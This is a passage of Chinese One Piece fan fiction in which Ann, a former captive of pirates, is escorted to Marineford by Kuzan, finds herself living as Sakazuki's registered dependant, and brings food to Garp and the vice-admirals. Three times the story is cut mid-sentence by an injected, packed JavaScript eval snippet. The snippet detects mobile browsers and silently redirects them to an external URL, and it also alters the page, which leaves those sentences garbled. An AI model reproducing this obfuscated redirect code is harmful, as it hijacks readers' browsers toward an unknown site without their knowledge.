“还收拾得出行李已经很不错了,我到莱卡的时候两手空空呢。”安被自己的话逗笑,不过那点快乐很快便消失得无影无踪,她抬头看向库赞,郑重地致谢:“非常感谢您为我解围,也许卡普先生和您提到过我,我的过往…” 她娇媚的脸上浮现痛苦的神色,纤细的身体微微发抖,库赞看着她,只觉得万分怜惜:这个女人如此悲惨,因为没有力量,她无法决定自己的命运,浮萍一般随着强者的掠夺漂泊,而她只是想要过安稳的生活。 “这不是你的错。”库赞轻柔、坚定地说道,“本部马林梵多是一个很安全的地方,你可以在那里开启你的新生活。” “谢谢您。” 安坐到库赞对面为库赞添茶,一个普通动作由她做出来却是那么优雅又赏心悦目,库赞察觉到自己的异样心情,有点尴尬。 但、但也没什么吧…男未婚女未嫁,等安到马林梵多安顿好,他可以邀请她一起吃饭。 “库赞先生,您说的那个叫马林梵多的地方气候如何?” “不必对我说敬语,叫我库赞就好。马林梵多四季如春,气候非常舒适宜人,你一定会喜欢的。” 安点点头,垂眼看着茶几上的诺兰花:“听着很适合诺兰花的生长。这朵花叫诺兰,是岛民为了纪念诺兰上校特地培育出来的花,这个住所也是诺兰上校给我安排的…是吗,四季如春啊,那我就把这盆花带去马林梵多吧。” 库赞看出安对上任上校的敬爱,他听闻过那个男人,是卡普先生的前辈,实力强劲,虽然早年因伤不得不退居幕后,但不管让他去哪里任职,他都能把岛屿治理出成绩来,在本部人缘也好,诺兰的最后一站是莱卡,卡普先生是因为他在这里才会把安送过来。 与此相比那个约翰…库赞沉下脸色:“我会让约翰付出他应有的代价。” 当他看到安露出受惊的样子,又赶紧把脸色放晴打哈哈,在心里责怪自己:也是,她以前和海贼一起,应该很害怕男人露出凶恶的表情吧,得多注意才行。 即使只有一个手提箱库赞也坚持帮安拿,还有她的花,港口的海兵们眼睛都快瞪出眼眶。他们没有去中央街道,不知道安和萨卡斯基之间发生的事,震惊于库赞去哪找来那么漂亮的女人,真不愧是中将,他们这才停靠多久就已经有绝世美女相伴… 只有强纳森一直在心里大叫糟糕糟糕糟糕,加快速度给自己的关系网打电话。 库赞把自己的房间让给安,军舰上只有他的房间有独立卫浴,库赞则住到隔壁,那里原本是他的副官住的,方便副官上传下达,如今方便库赞保护安,这艘军舰除了安都是男人,他得谨慎些,吃饭时间也带着她去坐将领们那一桌,和普通的海兵分开:“或者你更想在房间吃?我送过来给你。” “不必那么麻烦,在食堂吃就可以。” 安非常安静内敛,除了吃饭时间不踏出房门,不主动和人搭话,不提任何要求。库赞一方面心疼她一方面又觉得这不好,所以冒着被讨厌的风险也要带她到甲板遛弯,逗她开心。 “香波迪群岛最大的特色是泡泡,平时拎东西很重很累对吧,在香波迪群岛上可以用泡泡把物品装起来浮在空中,抓着绳子让它跟着你走。还有一个专门的游乐园,有泡泡摩天轮、泡泡旋转木马,很受女孩子欢迎,距离马林梵多不远,有机会可以去看看。” 库赞故意省略最后一句话的主语,不想给安压力,这几天他讲话都这样谨慎,好在效果不错,安逐渐放松下来。 “真是个神奇的地方。”安评价道,对那里也有了点幻想,她早就知道伟大航路不同寻常,没想到竟然还有泡泡岛。 尽管不认为自己能去往那些岛屿,安还是听得认真,反正做梦不需要成本,她常常被限制在一个固定的范围,从书籍和人们口中得来的冒险、出行故事是她幻想的蓝本。 “这两年七水之都在研发海上列车,一旦成功,不会航海术也能在岛屿之间移动。”库赞说,随后他问安:“你想坐自行车吗?我载你。” 安以为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16301798|182784||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是新的消遣方式,“在甲板上?” “不,在海上。” 安抬眼望向无边无际的大海,点了点头,史基都能让岛屿浮上万米高空,库赞一个海军中将能在海里骑自行车载她不是不可能。 于是库赞把自己的宝贝自行车从仓库里抬出来,直接在甲板和海之间筑了一条冰道,如果他自己骑,冰会特别窄,但他不想安害怕,特地把冰道做得又宽又厚。 库赞先骑上车:“不用担心,别看我这样,我骑自行车可稳了,冰也够厚,不会裂开,不会有危险。” 安很惊讶,这个男人竟然是稀有的自然系恶魔果实持有者:“这是库赞的能力吗?” “对,我吃了冰冻果实,能冻结一切,我自己也可以变成冰。” 他伸出手,掌心逐渐成型一只活灵活现的海鸥,安伸手想触碰,库赞往后缩了缩:“很冰。” “没有关系。”安把海鸥捧起来,触碰到库赞的手,也许是能力影响,他的体温很低,怪不得他总是把衣服穿得严严实实。 安只把玩了一小会库赞就把海鸥拎走,就这么一点时间,安的手被冻得发红,库赞给她倒了杯热水暖着。 航行好几天,可能已经进入马林梵多的岛屿气候范围,温度很宜人,但是库赞制造出来的冰完全没有融化的迹象,库赞载着安驶上去如履平地。 在大海中间骑自行车,确实是很新奇的体验…安此刻也放松心情享受海风,轨道两边逐渐聚集鱼群,大大小小,追逐着这辆小小的自行车。 “嗯?怎么回事,我自己骑的时候他们从来不追过来,看来连鱼也喜欢你呢。” 某种意义他真相了。安想。 自行车越骑越远,回头看军舰,上面的人只是小小的白点。库赞说:“这样自在一点吧。军舰上都是异性,他们无法控制自己不注视你,原谅他们。” 安有点诧异,抬头去看库赞却只能看到他宽阔的后背和卷卷的头发。能在意这种事,倒是比说她“祸水”的中将强。安的目标依旧是卡普,跟着卡普很大概率不用涉及性就能得到庇护,库赞太年轻,如果选择他最后一定会变成他的女人,但目前看来他足够绅士…先刷点好感吧。 安从抓住他的衣角变成搂住他的腰,上半身贴近他,她感觉到男人的身体僵了一下,不过很快又放松下来,把自行车骑得更加稳当。 “库赞,你真温柔。” “啊啦啦啦,你这么夸我,我可是会骄傲的。” 虽然听不到对话,但一切动作都被军舰上的海兵们看着,单身汉们龇牙咧嘴:可恶啊中将!怎么那么浪漫!! 在那以后,库赞每天都会载着安到海面上骑自行车,他们不是每天都有很多话说,安还在观察库赞,这个时候她奉行少说多看,库赞都随她,想起有趣的事情就说,没有就两个人安静地骑车,库赞第一次骑车回来就用柔软的被子和布料升级自行车后座,安坐着完全不会难受,坐累了也可以在大海中间停下来,发展到第四天,库赞和安骑自行车甚至会带上野餐垫和厨房专门做的零食。 “我还以为海军会更严谨一点…” “海军也有各种各样性格的人啦…卡普先生上班时间还经常摸鱼吃仙贝呢,但不妨碍他打倒洛克斯,成为海军英雄,数次将海贼王罗杰逼入绝境,现在也是海军最中坚的力量。” 听到熟悉的名字,安的心咯噔一下。 库赞只当她害怕海贼:“安可以放松一些,马上就到马林梵多了,一定会有一个全新的开始的。” 从莱卡出发航行八天后,库赞的军舰终于通过正义之门抵达马林梵多,港口停靠着其他军舰,他们比库赞早一些到达。 “库赞中将!”库赞和安骑着自行车一上岸就碰到强纳森,中将大人眨眨眼:“真巧啊,强纳森。” 巧?不巧,强纳森专门在这蹲守,就怕错过库赞的军舰:“接下来就由我来负责安小姐吧。” “住的地方没那么快能好,还是先到我那…” “不不不不不,不劳烦库赞中将,我已经全部安排好,安小姐只要拎包入住!” 安还记得最终目标是卡普,不想和库赞过多相处,便点点头:“谢谢你这几天的照顾,库赞。” 库赞!连敬语和职位称呼都省略,这要是再相处下去还得了!萨卡斯基那家伙,一下军舰就回办公室,丝毫不提安小姐,差点就被偷家!真活该他单身!但是作为萨卡斯基的好友兼副官,强纳森一个人承担了所有,他一个箭步挡在库赞和安之间,笑容可掬地对安做出“请”的姿势。 安都这么说了,再继续纠缠就太不识相,库赞便没再坚持。强纳森带着安来到一栋公寓楼下,这又是一个绝佳的地理位置,公寓背靠海军本部,几乎就在它的脚下,附近的街道还算繁华,能满足日常需求。 “就是这里了安小姐,乘坐电梯到3楼,右手边第二间屋子。钥匙给您,您可以随意使用屋子里的任何东西。” 安把钥匙插进孔洞,开启又一阶段的新生活。 4. 第四章 今天也是自己做饭自己吃的一天。 安搬到马林梵多已经过去三天,可以说度过了相对悠闲的日子,但是她知道这只是暂时,因为她通过这几天的观察发现,强纳森带她来的这个屋子并不是专门安排给她的闲置房,而是长期有人居住的,而且是个男人。 最合理的猜测,这是“祸水”先生的家。 除了采光良好的露台上那些蔫巴巴的花和盆栽,整个房子呈现出干脆利落的风格,强纳森说她可以随意使用,她没照做,除了厨房和她自己的房间,她触碰这个屋子的任何东西都会尽可能归位,书房和主卧也只是在门外路过时扫一眼,即使如此也能看得出这两个房间的使用痕迹最多,厨房都新新正正的。 回家只睡觉和工作…连饭都不吃?那养花和盆栽是他的兴趣吗? 住了三天安还确定一件别的事,这个公寓是海军的分配房,她上下班时间出门会遇到其他海军(他们看她的眼神真是有趣,尤其是目击她从那个屋子里出来的时候),可能是“祸水”先生战绩满满,分他一间,也有可能每个中将都分到一间。 那么,卡普中将也住在这里吗?库赞说过卡普是海军英雄,论职位论功绩他都应该有一套分配房才对。 可不管是强纳森还是“祸水”先生,甚至是库赞,自她入住这里都再没出现,更别说卡普。虽说安喜欢这样,但没有靠山总让她心里发毛,军队99%由男人构成,被其中一个谁□□都是小事,万一变成□□,又怪她勾引人或者为了掩盖真相把她处死她去哪里哭?安借采买的由头每天都出门,始终没有触发偶遇。 你们海军都不回家的吗? 不管怎么说,日子还是得过,安拿上钥匙和钱包出门,她今晚想做点甜品吃,鸡蛋不够。 “不,不收你的钱…就是几个鸡蛋而已…”鸡蛋摊位的年轻小伙涨红了脸,使劲把一小袋鸡蛋朝安举着,不管安怎么说都不愿意要钱,安把贝利放在他的摊位上,他也立即拿起来放在鸡蛋的袋子里还给安。 马林梵多好像没有超市,只有一个专门的集市,摊主全部是来自香波地群岛获得出入证的关系户,也许还有其他采购食材的方式,但安才来三天并不知道,男性摊主会给她便宜和打折,有时候不要钱白送,安尽可能找女性摊主买东西,今天时间晚,卖鸡蛋的仅有这家,安只得接受这袋鸡蛋。 安刚把鸡蛋打到碗里,门锁就“咔哒”响了一下,她站在厨房和进门的萨卡斯基四目相对,对方看起来非常震惊。 是的,萨卡斯基非常震惊,他说“搬到本部来”,不是搬到他家来…一群蠢货都是怎么做事的! 萨卡斯基下意识想联系强纳森把人弄走,但是他看了眼时间变得犹豫,今天是强纳森和杰西卡的什么纪念日(萨卡斯基记不住,那两人太多纪念日),他硬要叫,强纳森会来,但是他会因为妻子生气而怨念萨卡斯基很多天,萨卡斯基也很烦这样。权衡过后,萨卡斯基决定今晚再住一天办公室,明天再安排这女人搬走。 门落锁,公寓又变得寂静,安一头雾水,他是来干嘛的? 第二天,被妻子滋润得油光水亮的强纳森一到办公室就被黑脸的萨卡斯基叫到会议室。自从大海贼时代开启,海军为了解决人手短缺的问题,招安、晋升了不少军官,为了给底下的人腾地方,中将们不得不分散到几个大办公室共同办公,安不是公事,萨卡斯基知道不适合在公共场合谈。 “到底怎么回事?那个女人为什么会住在我家?”萨卡斯基眉头紧皱,想起家里的安,脸色更是难看,要是换了别的下属早就吓得瑟瑟发抖,但强纳森才不怕萨卡斯基,他早就猜到萨卡斯基会发火,虽说他没提前明说安会住到他家算是稍微坑了萨卡斯基一把,可这也怪萨卡斯基自己没想到:“不然安小姐住哪里?” “住哪里也不能住到我家里,像话吗?!” “是你说让她搬到本部的。” “不是有别的空房子…” “萨卡斯基。”强纳森直接打断对方,以朋友的身份坐到他旁边的椅子上:“按照规定,除了军属,无特殊情况不开放外来人员入住马林梵多,就连军属都得层层审批,最后由战国大将签字同意。都是你的军属了,怎么可能还多分一个屋子出来安置,而且如果不是我操作过,从莱卡回到本部这点时间,安小姐连本部的大门都进不来。” “谁让你操作!”萨卡斯基捏着眉心,头痛得要命,竟然还得呈到战国大将那,岂不是全乱套了! 强纳森摇摇头,“你说出那个话时就应该猜到会变成这样,现在后悔太晚了。” 萨卡斯基不吭声,气也气过,现在最重要的是思考解决方式:“……重新打报告让她搬走,这段时间我住办公室。” 听了这话,强纳森也有点恼火:“我就直说了,你这样做对安小姐很不公平。是你说要将她带回本部保护,除了做你的家属,她没有别的资格住进来。这几天不少中将都看到她出入你家,明面上也是你的军属,这时候让她搬走,对她的名声、安全都是毁灭性打击。” “你对安小姐有什么不满吗?那一番话虽然说得有点过,但我相信她是被逼的,她太美丽却太弱小,被肆意摆布,没有怨气才奇怪。我认为你可以先相处看看,你也到年纪了,是时候谈一个,人家安小姐看不看得上你都难讲。” “……”萨卡斯基斜眼看好友,强纳森自从恋爱结婚就一直催萨卡斯基,想让他也感受所谓的“老婆孩子热炕头”,但萨卡斯基没有这种世俗的欲望。 安的脸在他脑海里闪过。 …没有这种世俗的欲望。 “你自己说出来的话,你自己负责。我先摆明我的立场,我不会帮你走程序,你有本事自己去战国大将那里解释。” 两人不欢而散,而安对此一无所知,她正用昨天买回来的鸡蛋做甜品,打算下午送去本部。 她将昨晚萨卡斯基的出现作为一个信号,山不来就我,我就去就山,做点吃的送到本部,也许进不去,但安也没想真的能见到卡普,只要让他知道她现在正在马林梵多就行。以防万一卡普不在,安做了库赞、萨卡斯基、强纳森的份,套个“谢谢你们的照顾”外壳,能让她掌握更多主动权,这个办法屡试不爽。 将食物装入饭盒打包好,安出发前往本部,本部门口值守的海兵眼睛都快黏在她身上。这两天他们听到一些传闻,说什么马林梵多来了个绝世美人,尤其是上次跟着库赞中将出任务的海兵,把那女人的样貌说得天上有地下无,说库赞中将带着她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16301799|182784||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在海上骑浪漫自行车,但是也有人说她住在萨卡斯基中将家,还有说她跟卡普中将认识,甚至有人说16年前在凯多的抓捕任务里见过她,越传越离谱,大家也就当普通八卦听听,现在一看,至少样貌这一块很真实。 “请,请问您有什么事情吗?” “我做了点吃的,想送给…”安欲言又止,她还没想好说谁的名字,她主要想见卡普,但是如今她住在“祸水”先生家,选错可能会导致奇怪的流言,不利于她自保,于是她作出为难的表情注视两个海兵,试图蒙混过关。 “啊这,做了吃的啊,那就…” 按理来说他们不能随便放人进去,可是这女人只是送个吃的…强纳森少校的妻子杰西卡不也经常送吃的过来,应该没关系。 就在海兵们准备侧身让安进入时,有一个海兵瞥到安身后,立刻用手肘捅身边的同僚,两人正脸色、正身姿,对着安的身后敬礼问候:“卡普中将!耕次上校!…” 他们一连叫了好几个军官的名字,安只认得卡普,她心中暗喜,面上却不显,打算找准时机再回头,于是侧耳倾听他们的脚步声和对话: “耕次,你不要再烦我了,我是不会同意做大将的。” “卡普中将,请您不要再任性!您的升任通知好几年前就下来,那时候罗杰还没处刑,海上的形势不那么严峻,但是现在什么时候,无数人为了海贼王的财宝出海,每天都有新人冒头,比如说那个叫鹰眼的剑客,大海贼时代以前就崭露头角,虽然暂时没有组建自己的海贼团,也会斩杀一些海贼,可是海军船他也斩,实力强大,正邪不明,本部正要悬赏他,金额就达到1亿!” “又比如堂吉诃德·多弗朗明哥,他的身份您是知道的,他组了个海贼团,带着一群什么家族成员数次打劫政府的生意,普通将领根本没法出他的任务!” “我就知道你们在打这种主意。”卡普边抠鼻屎边对战国的爱将翻白眼,“天龙人的任务别人做不来就推给我,我最讨厌那群傻逼,就是不想伺候他们才不做大将的,你叫战国去。” “战国大将要坐镇本部…您别把鼻屎蹭我衣服上!!” 看卡普油盐不进,耕次各种衡量过后还是祭出杀手锏:“还有您的儿子龙!!脱离海军跑去做什么自勇军!” 卡普脚步一顿,但是很快又一副无赖模样:“腿长在他身上我也管不了。” 安听准时机偏过脑袋,正正和卡普一行打了个照面,原本还想说点什么的耕次直接消声,所有人陷入僵直,只有卡普喜出望外:“安!你来马林梵多了啊!库赞那小子干得不错!” “库赞中将吗?他对我照顾颇多。”安露出微笑示好顺便把卡普身后的将领闪得恍神:“卡普先生,好久不见。” “是挺久,自我送你去莱卡以来吧,竟然都过去两年了,你完全没变呢!”卡普扒开耕次走向安:“你手上拿着什么?” “我做了点吃的。” “哈哈哈好耶!我正好饿了!走走走,我带你去战国那里喝茶!”卡普拿过安的饭盒袋,大臂一伸拢着安又保持距离没碰到她,带着她往里走。 那两值守的海兵哪里还敢拦,这女人竟然真的和海军英雄卡普中将认识,难道传闻都是真的??? 5. 第五章 有卡普在身边,安在海军本部畅通无阻,只是免不了被一路注视,大将中将的办公区域在顶楼,坐电梯可以直达。中将们就差把八卦写在脸上,但谁也不想唐突了美人,只能把见闻色开到最大,一边感知走廊的动静一边感知萨卡斯基。 别以为他们不知道,这个漂亮女人住在萨卡斯基家的事早就传开,大家都以为他好事将近,没想到他嘴那么严,硬是一句不说。不过为什么这个女人会和卡普中将走在一起,关系看着还很不错。 她会来这个办公室吗?和萨卡斯基共同办公的中将们随着卡普一行越走越近而控制不住眼睛越瞪越大,来了来了来了——啊?怎么走过去了?去哪?卡普中将办公室也是这里啊? 啊,去了战国大将的办公室,大家一致把目光移向萨卡斯基,希望他能解答一下,萨卡斯基身边的空气都开始因高温扭曲:他怎么知道怎么回事! 卡普神经粗大,对别人的窥探毫不在乎,阵势巨大地打开战国的办公室门,丝毫没有作为下级的自觉,不过战国习惯了,就连鹤都没有动一下眉毛,淡定喝茶,只有战国的养子罗西南迪被卡普的开门声吓一大跳,差点飞起来。 “大将…”耕次委屈巴巴,战国本就没指望他能成功,挥挥手让他去忙自己的事,耕次听令退下,原本跟在卡普身后的其他将领也早就回到各自办公室(虽然他们很想跟过来看戏),办公室现在只剩战国、鹤、卡普、罗西南迪和安。 “罗西也在啊?安,过来坐。” 战国和鹤都是久经风浪的海军,看到安也没有表露出太多震惊,只是等卡普介绍,不过“安”这个名字不是…而罗西南迪只有十五岁,生性腼腆,军校又没几个异性,他在看到安的瞬间就从头红到脚,眼睛都不知道往哪放。 果然不应该对卡普有过高期待,只见卡普哼着不成调的“便当便当便当~”的小曲,把手上的布包往桌上放下就要拆开,完全没有要说话的意思,战国气得鲨鱼牙怒吼:“先介绍!!” “哦哦哦,安,这是战国,这是小鹤,都是我的同僚。这是战国的养子罗西南迪,现在还在军校读书,很乖巧的孩子。安就是两年前我送去诺兰那里的女孩。” 触发关键词“诺兰”,战国和鹤就知道了,同时变得心软:金狮子史基船上的女人,是个苦命人。他们记得诺兰两个月前光荣退休,安作为军属搬到马林梵多也好,可谓是被铜墙铁壁保护起来了。 罗西南迪捏着鸭舌帽的帽檐鼓起勇气抬头打招呼,正好直击安对他露出微笑,又是浑身发烫头顶冒烟。 这边卡普拆开便当袋,发现四个便当只有一个更大且用粉色布包着,他露出揶揄的笑,心想这肯定是给库赞的,便唯独把那个留下,拆开另外三个。 “是团子?” “是的,里面有奶油和水果,不知道合不合四位的口味。” 安话音未落,卡普已经抓起一个“咕叽咕叽”吃起来:“嗯好吃!” “你这家伙还真是毫不客气…”战国汗颜,尝了一个:“确实好吃,我们这种上了年纪的人吃也不觉得太甜腻。” “这个皮也是自己做的?有韧性却不会太黏牙,有什么诀窍吗?”鹤更在意做法,安轻声告诉她配比和技巧:“有需要的话,我一会儿写菜谱给您。” 罗西南迪也吃了一个,他的耳朵现在也还是红红的,吃过他就起身告辞:“如果没什么别的事,我就先回去了,本来下午放假就是让收拾行李。” 学校要开展为期两个星期的集中培训,解散后罗西南迪没有直接回家,他习惯了事事告诉战国,结果战国一听集中培训时间那么长,舍不得儿子才让他在办公室多呆呆。 “集中培训您不用让人接送我,我自己可以。” “可是罗西…”战国还是很担心,果然罗西南迪起身走没两步就左脚绊右脚重重摔倒在地,那动静把安吓得眼睛圆睁,心想肯定很痛,不过少年很快爬起来:“我真的可以自己走!” 说着他一溜烟跑出办公室,战国看着心爱的养子离去的方向,恨不得跑去培训基地陪他。 “罗西也大了,你别总是这样,给他留点面子吧。”鹤摇摇头,明明是智将,怎么一遇到孩子的事就变成傻瓜。 “在父母看来,孩子多大都还小!” 卡普对笨蛋父子不感兴趣,在他们耍宝的时候他已经把团子全部吃完,并朝安搭话:“安,你今天刚搬过来马林梵多吗?” “不,我已经在这里生活三天。” “住在哪里?” “就在本部前面的公寓。” 卡普点点头,公寓都是中将的分配房,应该是住在库赞屋里:“接到诺兰退休的消息我就想过去,可是实在脱不开身…正巧库赞经过莱卡,我就拜托他,库赞跟我说过莱卡的事,让你受苦了,抱歉。” 把安从史基的船上带下来,卡普认为自己对安是有责任的,他作为海军的职责也是让安这样的普通人能够安稳平静地生活。虽说是被艾斯的出生和露玖的死绊住,但卡普不想给自己找理由,辜负就是辜负,他正儿八经朝着比自己年轻许多的女孩低头,再一次致歉:“抱歉。” “我还以为…卡普先生忘了我。” “怎么会…哇!你别哭啊!” 卡普一个头两个大,他最不会安慰人了,还是比自己年轻那么多的漂亮女人,海军英雄、铁拳卡普手舞足蹈,自己在那乱成一团,好在安只掉了两颗小珍珠就止住,不好意思地红了脸,三人不由感叹美人就连落泪也如此美丽。 “不用害怕,从今以后库赞那小子会好好照顾你的!” 鹤斜卡普一眼,一脸疑惑:“不对吧?关库赞什么事,安是萨卡斯基的军属啊。” “没错,库赞的…不等等,为什么会提到萨卡斯基?”卡普更加疑惑,安不是库赞带回来的吗?这是他交代给他的任务啊? 战国抽出三天前才批过的文件确认:“是萨卡斯基没错,安是以萨卡斯基的军属身份申请到马林梵多居住的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“有什么事可以直接过来和我们说。”战国补充道,这是一个很有分量的承诺,安却只是笑了笑,没有应下,轻轻合上门离开。 是这里吧。安看着和风的办公室门,抬手敲响,等里头传来“请进”的声音后才拉开木门,和里头高矮大小各异的中将们大眼瞪小眼。 安很习惯被注视,所以她神色如常地搜寻目标,径直往萨卡斯基的办公桌走去,把粉色的便当放在男人面前:“我做了便当,您不介意可以尝尝。” “你不用做这些事。” 这是明显的拒绝,萨卡斯基甚至没抬头,帽檐挡住了他的脸,安看着对方,心想这个男人大概率就是她未来很长一段时间的庇护者。安有一个很明显的优点,那就是心情转换特别快速,她不会为任何一个男人停留,卡普这边堵死,那么她就立刻转而去思考萨卡斯基的攻略方式。 不过仔细想想好像没必要太顺着“祸水”先生,反正她在他这边已经是个敢出声指责他的女人,事到如今再装乖只会显得假惺惺,干脆将错就错放肆些,他总不能在海军本部把自己的“家属”杀掉,如果他敢动手打她,她正好可以借机脱离,成为卡普或者库赞的军属,战国大将应该也会愿意为她出头。 “所以你吃,还是不吃?” 6. 第六章 啊,她不说敬语了。中将们大气不敢喘,持续观察事态发展,而当事人萨卡斯基还是抱着手臂低着头,一副不动如山的模样,没有任何回应。于是安拎起饭盒,大家都在心中谴责萨卡斯基无情,把人气走,没想到安走向垃圾桶,直接松手将饭盒丢进去。 大家面色微妙,这个女性虽然看着柔柔软软又是完全没有战力的普通人,性格却相当刚烈呢!不过也是,如果不是这样的性格,当初她怎么可能说出那样一番几乎是在指着萨卡斯基鼻子骂的话。 饭盒终究是没能到垃圾桶里,波鲁萨利诺利用果实能力“咻”一下闪过去接住饭盒,打圆场道:“耶~人家辛苦做的便当,丢掉多浪费,萨卡斯基你不吃的话,我可就要吃了哦~” 原来如此这就是他们口中的“安”,真的如传闻那般是个令人神智动摇的大美人!波鲁萨利诺没有参加奥哈拉屠魔令,这几天听到中将同事们各种各样的说法,结合他对萨卡斯基多年的了解,差点没把他好奇死,再见不到安他怕是会冒着被冥狗的风险去萨卡斯基家楼下蹲点。 波鲁萨利诺对安露出笑容,绅士地对她伸出手掌:“我是波鲁萨利诺,美丽的女士。” 安把手搭上去,男人低头亲吻她的指背,一触即离,很合乎礼仪,随后他带着安回到萨卡斯基的桌子边上,没错他就是故意的,这多有趣啊,边吃饭边吃瓜,想想就刺激:“安小姐不必因为萨卡斯基生气,他就是个笨蛋。” 立刻有一个中将推了张椅子过来给安坐,收获萨卡斯基杀人眼神一个,但是对方只是龇牙笑:大家都是中将,谁怕谁啊。他们这群单身汉啊最喜欢关心同事的感情问题,话说回来现在去莱卡还能捡到那么漂亮的老婆吗可恶的萨卡斯基? 安顺势坐下,波鲁萨利诺还给她推了椅子,看起来是个情场高手。坐下后安就能看到萨卡斯基锅底一样的黑脸,明明是他把她变成家属却不给她好脸色,反而是他的同事对她更友善。 男人。 波鲁也搬了张凳子在萨卡斯基的桌子边坐下。高高兴兴拆便当:“让我看看让我看看,都做了些什么——哦!好丰盛呢!这都是安小姐自己做的吗?” 这色香味俱全的菜,粒粒分明的米饭,竟然还有甜品!去高级饭店打包也就这水平了吧。 开饭盒之前波鲁萨利诺只是不忍心看到美人难过的样子而故意恭维,这下是真的有点高兴,这饭闻着、看着就很好吃,正巧最近吃腻饭堂。 视线在萨卡斯基脸上转了一圈,波鲁决定先不管他,拿起配套的筷子夹一块裹满酱汁的肉放进嘴里,墨镜下的眼睛一下子就瞪大了。 哎呀这个真的好好吃啊,他在海上航行也去过不少国家、岛屿,好像没有吃过这样的味道捏,甜酸甜酸,很开胃!这个肉呢?哦是牛肉,可是这个是什么做法,不是做成扒,而是切片和一种味道有点独特的蔬菜一起炒?是炒的吗?风味很独特呢~这个他看出来了,是禽肉,这个菜是辣口的,放了红彤彤的辣椒,萨卡斯基肯定喜欢。 波鲁萨利诺非常给面子,每吃一个菜都夸赞,而且夸得很有内涵,还会询问讨论做法,眉心的纹路松开,眼角和嘴角的纹路却因为高兴而挤在一块,看得其他同僚相当好奇——到底多好吃啊闻着味好香! 接收到正面反馈,安的脸也逐渐舒展,最后露出小小的笑容,再次将整个办公室的单身汉俘虏。 “甜品也很好吃呢,说是团子更像大福,包裹奶油和水果馅料~却奇妙地不会腻。” 吃饱喝足的波鲁萨利诺肉眼可见变得快乐,捧着安给他倒的茶水,整个人都在冒着小花花。现在他也想问去莱卡还能捡到那么优秀的老婆吗可恶的萨卡斯基? “合您的口味真是太好了。” “耶~真的好好吃,安小姐是厨师吗?” “不,是自己闲时随便捣鼓的。” “那你真有天赋。” 两人随口寒暄了几句,安伸手去收拾桌上的饭盒,被波鲁萨利诺叫停:“啊,不用收拾,待会洗好让萨卡斯基带回家就行。做饭那么辛苦,洗碗就不要再做了。” “这…”安看了萨卡斯基一眼,他也正巧看过来,但没说不乐意,那她就默认他同意,“好吧。” 安看了看时间,在本部呆得够久,这会儿他们都快下班,她也要买菜回家做晚饭,便起身告辞。单身汉中将们发出“诶~~~”的声音,万分不舍,还有人邀请她有空一定要来坐坐。 安走后,办公室一度陷入微妙的沉默和失落中。 波鲁萨利诺把饭盒交给底下的人去清洗(他当然也可以洗但他不想),看向同僚:“萨卡斯基,你今晚会回家的对吧?” 他知道萨卡斯基经常睡办公室(毕竟他是个工作狂),但他都说到这份上,今天就算只是拿饭盒回去萨卡斯基也得回一趟,不然安太可怜。能够猜到搞出这种乌龙萨卡斯基不知道怎么和对方相处,既然把人家带回来,身为男人就承担起责任。 这个人,以往不接触女人就不接触,现在要接触却这般笨拙。 “…嗯。” 波鲁萨利诺的眼珠子转了一圈,脑海里浮现女性被夸赞后松弛的眉眼和露出的小小笑容,再铁石心肠的人都软化:“水果、食材都是新鲜的,是你家冰箱里的吗?” 言下之意人家花自己的钱买食材给你做吃的,你还不领情。 “她平时在家都有什么消遣?为了答谢,我给她送点她喜欢的礼物吧?” 言下之意那是个人,要社交要娱乐要有盼头,你别只顾着把人往家里领就不管了,养个小猫小狗还得每天梳毛遛弯呢。 “……” 萨卡斯基一言不发。萨卡斯基接过饭盒。萨卡斯基已经到家。 家里的灯开着。 萨卡斯基站在玄关,心情复杂,他抬头看向厨房,安果然在里面准备晚饭,看到他回来,她关上水龙头,和上次一样跟他对视,似乎在等待他的下一步行动,想起先前自己的种种言行,萨卡斯基多少有点懊悔,他走进家门,将制服外套脱下想挂到门边的落地衣帽架上,却发现自己经常挂的位置已经挂着一件针织外搭,萨卡斯基动作一顿,把外套挂在旁边的钩子上。 “这个。” 萨卡斯基走到开放式厨房的吧台外,把包着粉色便当布的便当盒放在桌上,安点点头:“先放在那里吧,我待会再收起来。” 她看看萨卡斯基高大的身影,又低头看看自己淘的一小捧米,问道:“你待会儿在家吃饭吗?” 安的问题、问法都震撼到萨卡斯基,他不明白为什么她可以如此自然地说出“家”这个字眼,仿佛她真的是他的家属,这是他们无数日常中极为普通的一天。 而萨卡斯基不想承认自己竟然觉得还不错。 得到肯定回复,安往电饭煲内胆里加了至少八杯米,随后打开冰箱看里面的食材,陷入沉默。 她不喜欢吃剩饭剩菜,食材也喜欢每天买新鲜的,因此每次买菜只会买当天的份,今天为了做便当多买了一些,但剩不多,她自己够吃,加上萨卡斯基肯定不行,她懒得下楼,于是扭头看萨卡斯基: “只能炒饭哦?” “…嗯。” 安把冰箱里的食材全部取出,抓起一个包菜准备剥开洗干净,抬头一看萨卡斯基还站在原地:“还有什么事吗?” 